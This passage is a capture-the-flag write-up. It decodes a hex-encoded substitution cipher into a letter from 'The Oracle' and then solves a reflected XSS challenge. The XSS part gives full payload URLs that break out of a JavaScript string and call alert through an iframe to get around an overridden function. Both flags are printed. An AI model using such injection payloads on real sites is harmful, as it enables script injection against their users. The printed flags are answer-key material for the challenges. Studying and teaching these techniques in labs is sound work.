50 ? ? ? ? ? ? ? ? | 11 27 3D 68 3F 21 24 24 68 3B
60 ? ? ? ? ? ? ? ? | 2D 2D 68 3F 20 29 3C 68 26 27
70 ? ? ? ? ? ? ? ? | 68 27 3C 20 2D 3A 68 20 3D 25
80 ? ? ? ? ? ? ? ? | 29 26 68 29 24 21 3E 2D 68 20
90 ? ? ? ? ? ? ? ? ? | 29 3B 68 3B 2D 2D 26 66 42 11
100 ? ? ? ? ? ? ? ? | 27 3D 68 3F 21 24 24 68 3C 3A
110 ? ? ? ? ? ? ? ? ? | 2D 3B 38 29 3B 3B 68 2A 27 3D
120 ? ? ? ? ? ? ? ? ? | 26 2C 29 3A 21 2D 3B 68 26 27
130 ? ? ? ? ? ? ? ? ? | 2A 27 2C 31 68 2C 3A 2D 29 25
140 ? ? ? ? ? ? ? ? | 2D 2C 68 27 2E 68 2F 27 21 26
150 ? ? ? ? ? ? ? ? ? | 2F 68 3C 20 3A 27 3D 2F 20 66
160 ? ? ? ? ? ? ? ? | 42 09 26 2C 68 31 27 3D 68 3F
170 ? ? ? ? ? ? ? ? | 21 24 24 68 3E 21 3B 21 3C 68
180 ? ? ? ? ? ? ? ? ? | 78 79 66 42 0A 3D 3C 68 3A 2D
190 ? ? ? ? ? ? ? ? ? | 25 21 26 2C 64 68 3B 2B 3C 2E
200 ? ? ? ? ? ? ? ? ? ? | 33 1F 79 24 24 17 1D 17 7D 7F
210 ? ? ? ? ? ? ? ? ? ? | 79 24 24 17 2C 3D 17 7C 24 24
220 ? ? ? ? ? ? ? ? ? ? | 17 78 2E 17 7F 20 79 3B 17 79
230 ? ? ? ? ? ? ? ? ? ? | 2E 17 79 17 20 7C 2C 17 26 78
240 ? ? ? ? ? ? ? ? ? ? | 7F 17 3B 7C 79 2C 17 7C 26 31
250 ? ? ? ? ? ? ? ? ? ? | 7F 20 79 26 2F 77 35 42 42 11
260 ? ? ? ? ? ? ? ? ? | 27 3D 3A 3B 68 3C 3A 3D 24 31
270 ? ? ? ? ? ? ? ? ? | 64 42 1C 20 2D 68 07 3A 29 2B
280 ? ? ? | 24 2D 42
Replace pos / char: char
Replace (charcode): 0x2D
With (charcode): 0x65
(E is the most frequent letter)
Current plain text:
0 1 2 3 4 5 6 7 8 9 | 0 1 2 3 4 5 6 7 8 9
0 ? e ? ? ? ? ? ? ? | 0C 2D 29 3A 68 1C 3A 21 26 21
10 ? ? ? ? ? ? ? ? ? | 3C 31 64 42 42 11 27 3D 68 3F
20 ? ? ? ? e ? ? ? | 21 24 24 68 2F 2D 3C 68 21 26
30 ? ? ? e ? ? ? ? | 68 24 27 3E 2D 68 3F 21 3C 20
40 ? ? e ? ? e ? ? | 68 1C 20 2D 68 07 26 2D 66 42
50 ? ? ? ? ? ? ? ? | 11 27 3D 68 3F 21 24 24 68 3B
60 e e ? ? ? ? ? ? | 2D 2D 68 3F 20 29 3C 68 26 27
70 ? ? ? e ? ? ? ? | 68 27 3C 20 2D 3A 68 20 3D 25
80 ? ? ? ? ? ? e ? | 29 26 68 29 24 21 3E 2D 68 20
90 ? ? ? e e ? ? ? ? | 29 3B 68 3B 2D 2D 26 66 42 11
100 ? ? ? ? ? ? ? ? | 27 3D 68 3F 21 24 24 68 3C 3A
110 e ? ? ? ? ? ? ? ? | 2D 3B 38 29 3B 3B 68 2A 27 3D
120 ? ? ? ? ? e ? ? ? | 26 2C 29 3A 21 2D 3B 68 26 27
130 ? ? ? ? ? ? e ? ? | 2A 27 2C 31 68 2C 3A 2D 29 25
140 e ? ? ? ? ? ? ? | 2D 2C 68 27 2E 68 2F 27 21 26
150 ? ? ? ? ? ? ? ? ? | 2F 68 3C 20 3A 27 3D 2F 20 66
160 ? ? ? ? ? ? ? ? | 42 09 26 2C 68 31 27 3D 68 3F
170 ? ? ? ? ? ? ? ? | 21 24 24 68 3E 21 3B 21 3C 68
180 ? ? ? ? ? ? ? ? e | 78 79 66 42 0A 3D 3C 68 3A 2D
190 ? ? ? ? ? ? ? ? ? | 25 21 26 2C 64 68 3B 2B 3C 2E
200 ? ? ? ? ? ? ? ? ? ? | 33 1F 79 24 24 17 1D 17 7D 7F
210 ? ? ? ? ? ? ? ? ? ? | 79 24 24 17 2C 3D 17 7C 24 24
220 ? ? ? ? ? ? ? ? ? ? | 17 78 2E 17 7F 20 79 3B 17 79
230 ? ? ? ? ? ? ? ? ? ? | 2E 17 79 17 20 7C 2C 17 26 78
240 ? ? ? ? ? ? ? ? ? ? | 7F 17 3B 7C 79 2C 17 7C 26 31
250 ? ? ? ? ? ? ? ? ? ? | 7F 20 79 26 2F 77 35 42 42 11
260 ? ? ? ? ? ? ? ? ? | 27 3D 3A 3B 68 3C 3A 3D 24 31
270 ? ? ? ? e ? ? ? ? | 64 42 1C 20 2D 68 07 3A 29 2B
280 ? e ? | 24 2D 42
Replace pos / char: pos
Replace (pos): 196
With (charcode): 0x73
Replace pos / char: pos
Replace (pos): 197
With (charcode): 0x63
Replace pos / char: pos
Replace (pos): 198
With (charcode): 0x74
Replace pos / char: pos
Replace (pos): 199
With (charcode): 0x66
("sctf" at the beginning of the flag)
...
...
...
Current plain text:
0 1 2 3 4 5 6 7 8 9 | 0 1 2 3 4 5 6 7 8 9
0 ? e ? r ? r ? ? ? | 0C 2D 29 3A 68 1C 3A 21 26 21
10 t ? ? ? ? ? o ? w | 3C 31 64 42 42 11 27 3D 68 3F
20 ? ? ? ? e t ? ? | 21 24 24 68 2F 2D 3C 68 21 26
30 ? o ? e w ? t h | 68 24 27 3E 2D 68 3F 21 3C 20
40 ? h e ? ? e ? ? | 68 1C 20 2D 68 07 26 2D 66 42
50 ? o ? w ? ? ? s | 11 27 3D 68 3F 21 24 24 68 3B
60 e e w h ? t ? o | 2D 2D 68 3F 20 29 3C 68 26 27
70 o t h e r h ? ? | 68 27 3C 20 2D 3A 68 20 3D 25
80 ? ? ? ? ? ? e h | 29 26 68 29 24 21 3E 2D 68 20
90 ? s s e e ? ? ? ? | 29 3B 68 3B 2D 2D 26 66 42 11
100 o ? w ? ? ? t r | 27 3D 68 3F 21 24 24 68 3C 3A
110 e s ? ? s s ? o ? | 2D 3B 38 29 3B 3B 68 2A 27 3D
120 ? ? ? r ? e s ? o | 26 2C 29 3A 21 2D 3B 68 26 27
130 ? o ? ? ? r e ? ? | 2A 27 2C 31 68 2C 3A 2D 29 25
140 e ? o f ? o ? ? | 2D 2C 68 27 2E 68 2F 27 21 26
150 ? t h r o ? ? h ? | 2F 68 3C 20 3A 27 3D 2F 20 66
160 ? ? ? ? ? o ? w | 42 09 26 2C 68 31 27 3D 68 3F
170 ? ? ? ? ? s ? t | 21 24 24 68 3E 21 3B 21 3C 68
180 ? ? ? ? ? ? t r e | 78 79 66 42 0A 3D 3C 68 3A 2D
190 ? ? ? ? ? s c t f | 25 21 26 2C 64 68 3B 2B 3C 2E
200 ? ? ? ? ? ? ? ? ? ? | 33 1F 79 24 24 17 1D 17 7D 7F
210 ? ? ? ? ? ? ? ? ? ? | 79 24 24 17 2C 3D 17 7C 24 24
220 ? ? f ? ? h ? s ? ? | 17 78 2E 17 7F 20 79 3B 17 79
230 f ? ? ? h ? ? ? ? ? | 2E 17 79 17 20 7C 2C 17 26 78
240 ? ? s ? ? ? ? ? ? ? | 7F 17 3B 7C 79 2C 17 7C 26 31
250 ? h ? ? ? ? ? ? ? ? | 7F 20 79 26 2F 77 35 42 42 11
260 o ? r s t r ? ? ? | 27 3D 3A 3B 68 3C 3A 3D 24 31
270 ? ? ? h e ? r ? c | 64 42 1C 20 2D 68 07 3A 29 2B
280 ? e ? | 24 2D 42
...
...
...
Current plain text:
0 1 2 3 4 5 6 7 8 9 | 0 1 2 3 4 5 6 7 8 9
0 D e a r T r i n i | 0C 2D 29 3A 68 1C 3A 21 26 21
10 t y , % % Y o u w | 3C 31 64 42 42 11 27 3D 68 3F
20 i l l g e t i n | 21 24 24 68 2F 2D 3C 68 21 26
30 l o v e w i t h | 68 24 27 3E 2D 68 3F 21 3C 20
40 T h e O n e % % | 68 1C 20 2D 68 07 26 2D 66 42
50 Y o u w i l l s | 11 27 3D 68 3F 21 24 24 68 3B
60 e e w h a t n o | 2D 2D 68 3F 20 29 3C 68 26 27
70 o t h e r h u m | 68 27 3C 20 2D 3A 68 20 3D 25
80 a n a l i v e h | 29 26 68 29 24 21 3E 2D 68 20
90 a s s e e n % % Y | 29 3B 68 3B 2D 2D 26 66 42 11
100 o u w i l l t r | 27 3D 68 3F 21 24 24 68 3C 3A
110 e s p a s s b o u | 2D 3B 38 29 3B 3B 68 2A 27 3D
120 n d a r i e s n o | 26 2C 29 3A 21 2D 3B 68 26 27
130 b o d y d r e a m | 2A 27 2C 31 68 2C 3A 2D 29 25
140 e d o f g o i n | 2D 2C 68 27 2E 68 2F 27 21 26
150 g t h r o u g h % | 2F 68 3C 20 3A 27 3D 2F 20 66
160 % A n d y o u w | 42 09 26 2C 68 31 27 3D 68 3F
170 i l l v i s i t | 21 24 24 68 3E 21 3B 21 3C 68
180 ? ? % % B u t r e | 78 79 66 42 0A 3D 3C 68 3A 2D
190 m i n d , s c t f | 25 21 26 2C 64 68 3B 2B 3C 2E
200 ? ? ? l l ? ? ? ? ? | 33 1F 79 24 24 17 1D 17 7D 7F
210 ? l l ? d u ? ? l l | 79 24 24 17 2C 3D 17 7C 24 24
220 ? ? f ? ? h ? s ? ? | 17 78 2E 17 7F 20 79 3B 17 79
230 f ? ? ? h ? d ? n ? | 2E 17 79 17 20 7C 2C 17 26 78
240 ? ? s ? ? d ? ? n y | 7F 17 3B 7C 79 2C 17 7C 26 31
250 ? h ? n g ? ? % % Y | 7F 20 79 26 2F 77 35 42 42 11
260 o u r s t r u l y | 27 3D 3A 3B 68 3C 3A 3D 24 31
270 , % T h e O r a c | 64 42 1C 20 2D 68 07 3A 29 2B
280 l e % | 24 2D 42
At this point we have everything pretty much everything from the readable text, but we need to figure out the flag. ?ny?h?ng
looks like anything
, but we already used those letters. We also used the capital A and T, so we probably need to substitute with numbers. So, eventually:
Current plain text:
0 1 2 3 4 5 6 7 8 9 | 0 1 2 3 4 5 6 7 8 9
0 D e a r T r i n i | 0C 2D 29 3A 68 1C 3A 21 26 21
10 t y , % % Y o u w | 3C 31 64 42 42 11 27 3D 68 3F
20 i l l g e t i n | 21 24 24 68 2F 2D 3C 68 21 26
30 l o v e w i t h | 68 24 27 3E 2D 68 3F 21 3C 20
40 T h e O n e % % | 68 1C 20 2D 68 07 26 2D 66 42
50 Y o u w i l l s | 11 27 3D 68 3F 21 24 24 68 3B
60 e e w h a t n o | 2D 2D 68 3F 20 29 3C 68 26 27
70 o t h e r h u m | 68 27 3C 20 2D 3A 68 20 3D 25
80 a n a l i v e h | 29 26 68 29 24 21 3E 2D 68 20
90 a s s e e n % % Y | 29 3B 68 3B 2D 2D 26 66 42 11
100 o u w i l l t r | 27 3D 68 3F 21 24 24 68 3C 3A
110 e s p a s s b o u | 2D 3B 38 29 3B 3B 68 2A 27 3D
120 n d a r i e s n o | 26 2C 29 3A 21 2D 3B 68 26 27
130 b o d y d r e a m | 2A 27 2C 31 68 2C 3A 2D 29 25
140 e d o f g o i n | 2D 2C 68 27 2E 68 2F 27 21 26
150 g t h r o u g h % | 2F 68 3C 20 3A 27 3D 2F 20 66
160 % A n d y o u w | 42 09 26 2C 68 31 27 3D 68 3F
170 i l l v i s i t | 21 24 24 68 3E 21 3B 21 3C 68
180 0 1 % % B u t r e | 78 79 66 42 0A 3D 3C 68 3A 2D
190 m i n d , s c t f | 25 21 26 2C 64 68 3B 2B 3C 2E
200 { W 1 l l _ U _ 5 7 | 33 1F 79 24 24 17 1D 17 7D 7F
210 1 l l _ d u _ 4 l l | 79 24 24 17 2C 3D 17 7C 24 24
220 _ 0 f _ 7 h 1 s _ 1 | 17 78 2E 17 7F 20 79 3B 17 79
230 f _ 1 _ h 4 d _ n 0 | 2E 17 79 17 20 7C 2C 17 26 78
240 7 _ s 4 1 d _ 4 n y | 7F 17 3B 7C 79 2C 17 7C 26 31
250 7 h 1 n g ? } % % Y | 7F 20 79 26 2F 77 35 42 42 11
260 o u r s t r u l y | 27 3D 3A 3B 68 3C 3A 3D 24 31
270 , % T h e O r a c | 64 42 1C 20 2D 68 07 3A 29 2B
280 l e % | 24 2D 42
Reformatted:
Dear Trinity,
You will get in love with The One
You will see what no other human alive has seen
You will trespass boundaries nobody dreamed of going through
And you will visit 01
But remind, sctf{W1ll_U_571ll_du_4ll_0f_7h1s_1f_1_h4d_n07_s41d_4ny7h1ng?}
Yours truly,
The Oracle
sctf{W1ll_U_571ll_du_4ll_0f_7h1s_1f_1_h4d_n07_s41d_4ny7h1ng?}
Description
This is some kind of reverse captcha to tell if the visitor is indeed a robot. Can you complete it?
Service: http://xss1.alieni.se:2999/
No files given
Solution
We are presented with a simple challenge:
If we follow the ?xss=hello
link, we can see this in the source code:
<script>var x ='hello'; var y = `hello`; var z = "hello";</script>
The xss
parameter gets injected into three differently-quoted Javascript strings verbatim. We can use any one of them since our characters are not filtered. So, choosing the first one, we first inject a '
to escape the string, then a ;
to allow us to run arbitrary code, and after our code, we put //
to comment out the rest (to stop the browser from complaining about syntax errors).
';alert(1);//
URL:
http://xss1.alieni.se:2999/?xss=%27;alert(1);//
But if we do this, we get a text prompt instead. There is another script included on the website, which overrides window.alert
. Unfortunately, it seems window
doesn't have a usable prototype
, at least not in the current Chrome version. If we try delete window.alert;
, the default alert
function does not get restored.
Searching around for how to restore overridden functions, we find a simple technique: create an <iframe>
and use its window
's alert
function.
var iframe = document.createElement("iframe");
document.documentElement.appendChild(iframe);
iframe.contentWindow.alert(1);
URL (shorter version):
http://xss1.alieni.se:2999/?xss=%27;document.documentElement.appendChild(f=document.createElement(%27iframe%27));f.contentWindow.alert(1);//
And if we submit this URL, we get the flag.
sctf{cr0ss_s1te_n0scr1ptinG}